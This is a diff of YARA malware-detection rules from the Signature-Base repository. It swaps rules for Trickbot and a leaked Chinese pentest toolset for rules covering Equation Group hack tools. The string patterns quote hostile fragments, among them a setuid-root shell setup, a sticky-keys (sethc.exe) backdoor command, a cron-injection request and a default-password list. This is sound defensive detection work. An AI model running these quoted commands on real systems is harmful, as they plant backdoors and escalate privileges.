+		id = "1c24aa6a-74ab-5832-876b-5cab43dc6bb7"
+		date = "2017-04-09"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_trickbot.yar#L24-L38"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "185e59c156218b418bec0c94144b19639c17e3a9595d993e3761eae15379f9fb"
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1084-L1100"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f6c92fc3540750a1223682b1672575b3a3120f5ebf63190a9b31d7e4e5ce13c7"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "57b8ea2870f5176a30e6cba2d717fb3ff342f8bd36bac652dc4194a313b5fa64"
-		hash2 = "d75561a744e3ed45dfbf25fe7c120bd24c38138ac469fd02e383dd455a540334"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "5ac6fde8a06f4ade10d672e60e92ffbf78c4e8db6b5152e23171f6f53af0bfe1"
 
 	strings:
-		$x1 = "C:\\Users\\User\\Desktop\\Encrypt\\Math_Cad\\Release\\Math_Cad.pdb" fullword ascii
-		$x2 = "AxedWV3OVTFfnGb" fullword ascii
+		$s1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/{}" fullword ascii
+		$op1 = { 8d b5 48 ff ff ff 89 34 24 e8 56 2a 00 00 c7 44 }
+		$op2 = { e9 a2 f2 ff ff ff 85 b4 fe ff ff 8b 95 a8 fe ff }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <=2000KB and 1 of them
+		( uint16(0)==0x5a4d and filesize <500KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_Trickbot_Oct19_3 : FILE
+rule SIGNATURE_BASE_Equationgroup_Morerats_Client_Addkey : FILE
 {
 	meta:
-		description = "Detects Trickbot malware"
+		description = "Equation Group hack tool set"
 		author = "Florian Roth (Nextron Systems)"
-		id = "3428b7e3-def9-5574-bbbb-6ba98c134dec"
-		date = "2019-10-02"
+		id = "a025e379-c24e-56ac-b53c-bd38d51f3437"
+		date = "2017-04-09"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_trickbot.yar#L40-L56"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "87860212077b63bf3e4835a3a64b934fc7edd3258355a3e94a69acaba39c2516"
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1102-L1117"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ec5b7499e3c3cc6b581c381ae61a4c987691c0d93dd589a5907fd7419335963a"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "25a4ae2a1ce6dbe7da4ba1e2559caa7ed080762cf52dba6c8b55450852135504"
-		hash2 = "57b8ea2870f5176a30e6cba2d717fb3ff342f8bd36bac652dc4194a313b5fa64"
-		hash3 = "d75561a744e3ed45dfbf25fe7c120bd24c38138ac469fd02e383dd455a540334"
-		hash4 = "57b8ea2870f5176a30e6cba2d717fb3ff342f8bd36bac652dc4194a313b5fa64"
-		hash5 = "e92dd00b092b435420f0996e4f557023fe1436110a11f0f61fbb628b959aac99"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "6c67c03716d06a99f20c1044585d6bde7df43fee89f38915db0b03a42a3a9f4b"
 
 	strings:
-		$s1 = "Decrypt Shell Fail" fullword ascii
+		$x1 = "print '  -s storebin  use storebin as the Store executable\\n'" fullword ascii
+		$x2 = "os.system('%s --file=\"%s\" --wipe > /dev/null' % (storebin, b))" fullword ascii
+		$x3 = "print '  -k keyfile   the key text file to inject'" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <=2000KB and (1 of them or pe.imphash()=="4e3fbfbf1fc23f646cd40a6fe09385a7")
+		( filesize <20KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_Trickbot_Oct19_4 : FILE
+rule SIGNATURE_BASE_Equationgroup_Noclient_3_3_2 : FILE
 {
 	meta:
-		description = "Detects Trickbot malware"
+		description = "Equation Group hack tool set"
 		author = "Florian Roth (Nextron Systems)"
-		id = "dcadaa50-52ae-5ded-b40e-149f28092093"
-		date = "2019-10-02"
+		id = "be7c4263-e8e3-5a83-9003-063225e544ff"
+		date = "2017-04-09"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_trickbot.yar#L58-L77"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c109510d86260b4173bbbac5fe69936acb109e7fdbe71fbe2955e5ed85f5cd85"
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1119-L1136"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "14b1f135da81fd9a071e0f692bc7f1ab6f6f63d7dd05e1557e5c2d51135727b6"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "25a4ae2a1ce6dbe7da4ba1e2559caa7ed080762cf52dba6c8b55450852135504"
-		hash2 = "e92dd00b092b435420f0996e4f557023fe1436110a11f0f61fbb628b959aac99"
-		hash3 = "aabf54eb27de3d72078bbe8d99a92f5bcc1e43ff86774eb5321ed25fba5d27d4"
-		hash4 = "9ecc794ec77ce937e8c835d837ca7f0548ef695090543ed83a7adbc07da9f536"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "3cf0eb010c431372af5f32e2ee8c757831215f8836cabc7d805572bb5574fc72"
 
 	strings:
-		$x1 = "c:\\users\\user\\documents\\visual studio 2005\\projects\\adzxser\\release\\ADZXSER.pdb" fullword ascii
-		$x2 = "http://root-hack.org" fullword ascii
-		$x3 = "http://hax-studios.net" fullword ascii
-		$x4 = "5OCFBBKCAZxWUE#$_SVRR[SQJ" fullword ascii
-		$x5 = "G*\\AC:\\Users\\911\\Desktop\\cButtonBar\\cButtonBar\\ButtonBar.vbp" fullword wide
+		$x1 = "127.0.0.1 is not advisable as a source. Use -l 127.0.0.1 to override this warning" fullword ascii
+		$x2 = "iptables -%c OUTPUT -p tcp -d 127.0.0.1 --tcp-flags RST RST -j DROP;" fullword ascii
+		$x3 = "noclient: failed to execute %s: %s" fullword ascii
+		$x4 = "sh -c \"ping -c 2 %s; grep %s /proc/net/arp >/tmp/gx \"" fullword ascii
+		$s5 = "Attempting connection from 0.0.0.0:" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <=2000KB and 1 of them
+		( filesize <1000KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_Trickbot_Oct19_5 : FILE
+rule SIGNATURE_BASE_Equationgroup_Curseflower_Mswin32_V_1_0_0 : FILE
 {
 	meta:
-		description = "Detects Trickbot malware"
+		description = "Equation Group hack tool set"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b3034f0c-5fd9-58a2-866f-9100e3a56f39"
-		date = "2019-10-02"
+		id = "4138f87a-4584-5efc-a168-633838893e2f"
+		date = "2017-04-09"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_trickbot.yar#L79-L96"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e304b236dd58faa0e6fdd73bc93c24f6ff0ec6c1f9a54b104f8e87441834e22b"
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1138-L1153"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e70954945b3a5e08e5ae216b16702056b403dbf14391276eae1ed13e8273c1ee"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "58852140a2dc30e799b7d50519c56e2fd3bb506691918dbf5d4244cc1f4558a2"
-		hash2 = "aabf54eb27de3d72078bbe8d99a92f5bcc1e43ff86774eb5321ed25fba5d27d4"
-		hash3 = "9ecc794ec77ce937e8c835d837ca7f0548ef695090543ed83a7adbc07da9f536"
-		hash4 = "9d6e4ad7f84d025bbe9f95e74542e7d9f79e054f6dcd7b37296f01e7edd2abae"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "fdc452629ff7befe02adea3a135c3744d8585af890a4301b2a10a817e48c5cbf"
 
 	strings:
-		$s1 = "LoadShellCode" fullword ascii
-		$s2 = "pShellCode" fullword ascii
-		$s3 = "InitShellCode" fullword ascii
+		$s1 = "<pVt,<et(<st$<ct$<nt" fullword ascii
+		$op1 = { 6a 04 83 c0 08 6a 01 50 e8 10 34 00 00 83 c4 10 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <=2000KB and 2 of them
+		( uint16(0)==0x5a4d and filesize <300KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_Trickbot_Oct19_6 : FILE
+rule SIGNATURE_BASE_Equationgroup_Tmpwatch : FILE
 {
 	meta:
-		description = "Detects Trickbot malware"
+		description = "Equation Group hack tool set"
 		author = "Florian Roth (Nextron Systems)"
-		id = "5feb8d34-4974-5315-a5f9-79a3fac83d1d"
-		date = "2019-10-02"
+		id = "2c8cac7a-761f-59f4-bc04-285af4dbe184"
+		date = "2017-04-09"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_trickbot.yar#L98-L115"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "599b1f56483f4ea267595b90dd4ef93b7e2147e4a0d8449cdd9d2539a96c3f79"
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1155-L1169"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6fab5100f6ee0bf9a4e13e262c8d47e600f5aad64c7e04fe08fa42a5d78c38e8"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "cf99990bee6c378cbf56239b3cc88276eec348d82740f84e9d5c343751f82560"
-		hash2 = "cf99990bee6c378cbf56239b3cc88276eec348d82740f84e9d5c343751f82560"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "65ed8066a3a240ee2e7556da74933a9b25c5109ffad893c21a626ea1b686d7c1"
 
 	strings:
-		$x1 = "D:\\MyProjects\\spreader\\Release\\ssExecutor_x86.pdb" fullword ascii
-		$s1 = "%s\\appdata\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\%s" fullword ascii
-		$s2 = "%s\\appdata\\roaming\\%s" fullword ascii
-		$s3 = "WINDOWS\\SYSTEM32\\TASKS" fullword ascii
+		$s1 = "chown root:root /tmp/.scsi/dev/bin/gsh" fullword ascii
+		$s2 = "chmod 4777 /tmp/.scsi/dev/bin/gsh" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <=400KB and (1 of ($x*) or 3 of them )
+		( filesize <1KB and 1 of them )
 }
-rule SIGNATURE_BASE_CN_Honker_Mafix_Root : FILE
+rule SIGNATURE_BASE_Equationgroup_Orleans_Stride_Sunos5_9_V_2_4_0 : FILE
 {
 	meta:
-		description = "Script from disclosed CN Honker Pentest Toolset - file root"
+		description = "Equation Group hack tool set"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ae08b2e9-4d81-5f15-88d2-e2ace20626bf"
-		date = "2015-06-23"
+		id = "ec83e1c0-91a9-5f9d-a1d2-94be725bc05a"
+		date = "2017-04-09"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_scripts.yar#L8-L24"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "826778ef9c22177d41698b467586604e001fed19"
-		logic_hash = "db54561ba4b9c1bd4d9b183658b98f6fd3165b05c8d6d7f006ae3b5fc96ba549"
-		score = 70
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1171-L1186"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1380b22e661926ebb2878d89c80e115a58d0bfc060681a55564c97c1e9f36765"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "6a30efb87b28e1a136a66c7708178c27d63a4a76c9c839b2fc43853158cb55ff"
 
 	strings:
-		$s0 = "echo \"# vbox (voice box) getty\" >> /tmp/.init1" fullword ascii
-		$s1 = "cp /var/log/tcp.log $HOMEDIR/.owned/bex2/snifflog" fullword ascii
-		$s2 = "if [ -f /sbin/xlogin ]; then" fullword ascii
+		$s1 = "_lib_version" ascii
+		$s2 = ",%02d%03d" fullword ascii
+		$s3 = "TRANSIT" fullword ascii
 
 	condition:
-		filesize <96KB and all of them
+		( uint16(0)==0x457f and filesize <200KB and all of them )
 }
-rule SIGNATURE_BASE_CN_Honker_Passwd_Dict_3389 : FILE
+rule SIGNATURE_BASE_Equationgroup_Morerats_Client_Noprep : FILE
 {
 	meta:
-		description = "Script from disclosed CN Honker Pentest Toolset - file 3389.txt"
+		description = "Equation Group hack tool set"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9418f0e5-7bf0-5df3-8857-dea90fae5a54"
-		date = "2015-06-23"
+		id = "27e9e51a-c853-5dcc-97d2-d3d31c5ccfac"
+		date = "2017-04-09"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_scripts.yar#L26-L46"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2897e909e48a9f56ce762244c3a3e9319e12362f"
-		logic_hash = "2be79fc7388ca12f06577e689944bcfa72ed1e1b6da5a7fa15c8da69a4555a9a"
-		score = 70
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1188-L1203"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c27815333e05d318bc32d01e755386bc1d1dbfd9f2b92a460fbd0f703e9ba210"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "a5b191a8ede8297c5bba790ef95201c516d64e2898efaeb44183f8fdfad578bb"
 
 	strings:
-		$s0 = "654321" fullword ascii
-		$s1 = "admin123" fullword ascii
-		$s2 = "admin123456" fullword ascii
-		$s3 = "administrator" fullword ascii
-		$s4 = "passwd" fullword ascii
-		$s5 = "password" fullword ascii
-		$s7 = "12345678" fullword ascii
+		$x1 = "storestr = 'echo -n \"%s\" | Store --nullterminate --file=\"%s\" --set=\"%s\"' % (nopenargs, outfile, VAR_NAME)" fullword ascii
+		$x2 = "The NOPEN-args provided are injected into infile if it is a valid" fullword ascii
+		$x3 = " -i                do not autokill after 5 hours" fullword ascii
 
 	condition:
-		filesize <1KB and all of them
+		( filesize <9KB and 1 of them )
 }
-rule SIGNATURE_BASE_CN_Honker_Perl_Serv_U : FILE
+rule SIGNATURE_BASE_Equationgroup_Cursezinger_Linuxrh7_3_V_2_0_0 : FILE
 {
 	meta:
-		description = "Script from disclosed CN Honker Pentest Toolset - file Perl-serv-U.pl"
+		description = "Equation Group hack tool set"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d793227d-dd4d-5c92-bfdc-9662c3ed8933"
-		date = "2015-06-23"
+		id = "d4cab478-da1e-54ef-995a-897d1813619e"
+		date = "2017-04-09"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_scripts.yar#L48-L63"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f333c597ff746ebd5a641fbc248497d61e3ec17b"
-		logic_hash = "deb4ee54f9127bc093f96f7dbf3633fbfc3f66358c76fb15928dabbbffdd4963"
-		score = 70
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1205-L1221"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fa56fe4dd44d266741a3f0b0edfc24660b260c1ade45c23171f22bc43a3bee75"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "af7c7d03f59460fa60c48764201e18f3bd3f72441fd2e2ff6a562291134d2135"
 
 	strings:
-		$s1 = "$dir = 'C:\\\\WINNT\\\\System32\\\\';" fullword ascii
-		$s2 = "$sock = IO::Socket::INET->new(\"127.0.0.1:$adminport\") || die \"fail\";" fullword ascii
+		$s1 = ",%02d%03d" fullword ascii
+		$s2 = "[%.2u%.2u%.2u%.2u%.2u%.2u]" fullword ascii
+		$s3 = "__strtoll_internal" ascii
+		$s4 = "__strtoul_internal" ascii
 
 	condition:
-		filesize <8KB and all of them
+		( uint16(0)==0x457f and filesize <400KB and all of them )
 }
-rule SIGNATURE_BASE_CN_Honker_F4Ck_Team_F4Ck : FILE
+rule SIGNATURE_BASE_Equationgroup_Seconddate_Implantstandalone_3_0_3 : FILE
 {
 	meta:
-		description = "Script from disclosed CN Honker Pentest Toolset - file f4ck.txt"
+		description = "Equation Group hack tool set"
 		author = "Florian Roth (Nextron Systems)"
-		id = "abf2f277-79b4-5ca2-b12e-93a662e5d607"
-		date = "2015-06-23"
+		id = "08b1aa88-8731-51db-b659-96147f509bcd"
+		date = "2017-04-09"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_scripts.yar#L65-L81"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e216f4ba3a07de5cdbb12acc038cd8156618759e"
-		logic_hash = "be4817bcaae952eb13c35dd89606ec733c682b2e197054bb348c3934012bd105"
-		score = 70
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1223-L1238"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8d56f471104bfb2ef2bf730e5a8b60c123706f12eb52226895b123b16eed2883"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "d687aa644095c81b53a69c206eb8d6bdfe429d7adc2a57d87baf8ff8d4233511"
 
 	strings:
-		$s0 = "PassWord:F4ckTeam!@#" fullword ascii
-		$s1 = "UserName:F4ck" fullword ascii
-		$s2 = "F4ck Team" fullword ascii
+		$s1 = "EFDGHIJKLMNOPQRSUT" fullword ascii
+		$s2 = "G8HcJ HcF LcF0LcN" fullword ascii
+		$s3 = "GhHcJ0HcF@LcF0LcN8H" fullword ascii
 
 	condition:
-		filesize <1KB and all of them
+		( uint16(0)==0x457f and filesize <1000KB and all of them )
 }
-rule SIGNATURE_BASE_CN_Honker_Sig_3389_3389 : FILE
+rule SIGNATURE_BASE_Equationgroup_Watcher_Solaris_I386_V_3_3_0 : FILE
 {
 	meta:
-		description = "Script from disclosed CN Honker Pentest Toolset - file 3389.vbs"
+		description = "Equation Group hack tool set"
 		author = "Florian Roth (Nextron Systems)"
-		id = "6d385820-befe-5e2b-8c48-ad90564d5f42"
-		date = "2015-06-23"
+		id = "e75c6ed9-b6e6-530d-a6ac-40bd0477754f"
+		date = "2017-04-09"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_scripts.yar#L83-L97"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f92b74f41a2138cc05c6b6993bcc86c706017e49"
-		logic_hash = "32603edd3f188a9f4919795df04112883d7b88da46b13fcd0b0e0065fd4c016b"
-		score = 70
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1240-L1256"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "61ded97e99e6bdfe2738c6d73719b3182d970aba8ea9d7cab751349669129de2"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "395ec2531970950ffafde234dded0cce0c95f1f9a22763d1d04caa060a5222bb"
 
 	strings:
-		$s1 = "success = obj.run(\"cmd /c takeown /f %SystemRoot%\\system32\\sethc.exe&echo y| " ascii
+		$s1 = "getexecname" fullword ascii
+		$s2 = "invalid option `" fullword ascii
+		$s6 = "__fpstart" ascii
+		$s12 = "GHFIJKLMNOPQRSTUVXW" fullword ascii
 
 	condition:
-		filesize <10KB and all of them
+		( uint16(0)==0x457f and filesize <700KB and all of them )
 }
-rule SIGNATURE_BASE_CN_Honker_Sig_3389_3389_2 : FILE
+rule SIGNATURE_BASE_Equationgroup_Gr_Dev_Bin_Now : FILE
 {
 	meta:
-		description = "Script from disclosed CN Honker Pentest Toolset - file 3389.bat"
+		description = "Equation Group hack tool set"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f449f632-3102-5e62-b790-5546698dd663"
-		date = "2015-06-23"
+		id = "9ec19323-85d5-5edf-99eb-b452c09b870a"
+		date = "2017-04-09"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_scripts.yar#L99-L114"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5ff92f39ade12f8ba6cb75dfdc9bb907e49f0ebd"
-		logic_hash = "637b3368fac624ca78d2f573b8b937b6b265426d7ed923f3a3d06039663c97ad"
-		score = 70
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1258-L1272"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1d7f009c5593ac1b1517024b828b016d705b63f6812a49d909f35c34b936e6d7"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "f5ed8312fc6e624b04e1e2d6614f3c651c9e9902ff41f4d069c32caca0869fa4"
 
 	strings:
-		$s1 = "@del c:\\termsrvhack.dll" fullword ascii
-		$s2 = "@del c:\\3389.txt" fullword ascii
+		$x1 = "HTTP_REFERER=\"https://127.0.0.1:6655/cgi/redmin?op=cron&action=once\"" fullword ascii
+		$x2 = "exec /usr/share/redmin/cgi/redmin" fullword ascii
 
 	condition:
-		filesize <3KB and all of them
+		( filesize <1KB and 1 of them )
 }
-rule SIGNATURE_BASE_CN_Honker_Injection_Transit_Jmcook : FILE
+rule SIGNATURE_BASE_Equationgroup_Gr_Dev_Bin_Post : FILE
 {
 	meta:
-		description = "Script from disclosed CN Honker Pentest Toolset - file jmCook.asp"
+		description = "Equation Group hack tool set"
 		author = "Florian Roth (Nextron Systems)"
-		id = "468abb0e-a163-5fc5-b6a1-896fc04b8570"
-		date = "2015-06-23"
+		id = "9ec19323-85d5-5edf-99eb-b452c09b870a"
+		date = "2017-04-09"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_scripts.yar#L116-L131"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5e1851c77ce922e682333a3cb83b8506e1d7395d"
-		logic_hash = "f7a9aca65b92d4b9c787d83a421b54a23844fa8e061c6c627ddde8ab5b7f4396"
-		score = 70
-		quality = 83
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1274-L1287"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ffd95302df11d1ebab37817e967a1ad4d1e85e62b38a0ccd6adf0f36925e64c1"
+		score = 75
+		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "c1546155efa95dbc4e3cc95299a3968fc075f89d33164e78b00b76c7d08a0591"
 
 	strings:
-		$s1 = ".Open \"POST\",PostUrl,False" fullword ascii
-		$s2 = "JmdcwName=request(\"jmdcw\")" fullword ascii
+		$x1 = "op=cron&action=once&frame=cronOnceFrame&cronK=cronV&cronCommand=%2Ftmp%2Ftmpwatch&time=12%3A12+01%2F28%2F2005" ascii
 
 	condition:
-		filesize <9KB and all of them
+		( filesize <1KB and all of them )
 }
-rule SIGNATURE_BASE_CN_Honker_Pwdump7_Pwdump7 : FILE
+rule SIGNATURE_BASE_Equationgroup_Curseyo_Win2K_V_1_0_0 : FILE
 {
 	meta:
-		description = "Script from disclosed CN Honker Pentest Toolset - file Pwdump7.bat"
+		description = "Equation Group hack tool set"
 		author = "Florian Roth (Nextron Systems)"
-		id = "baf6ced6-4298-5453-a020-a384c923584c"
-		date = "2015-06-23"
+		id = "8161907d-d6bd-58c5-806d-387321b93b21"
+		date = "2017-04-09"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_scripts.yar#L133-L147"
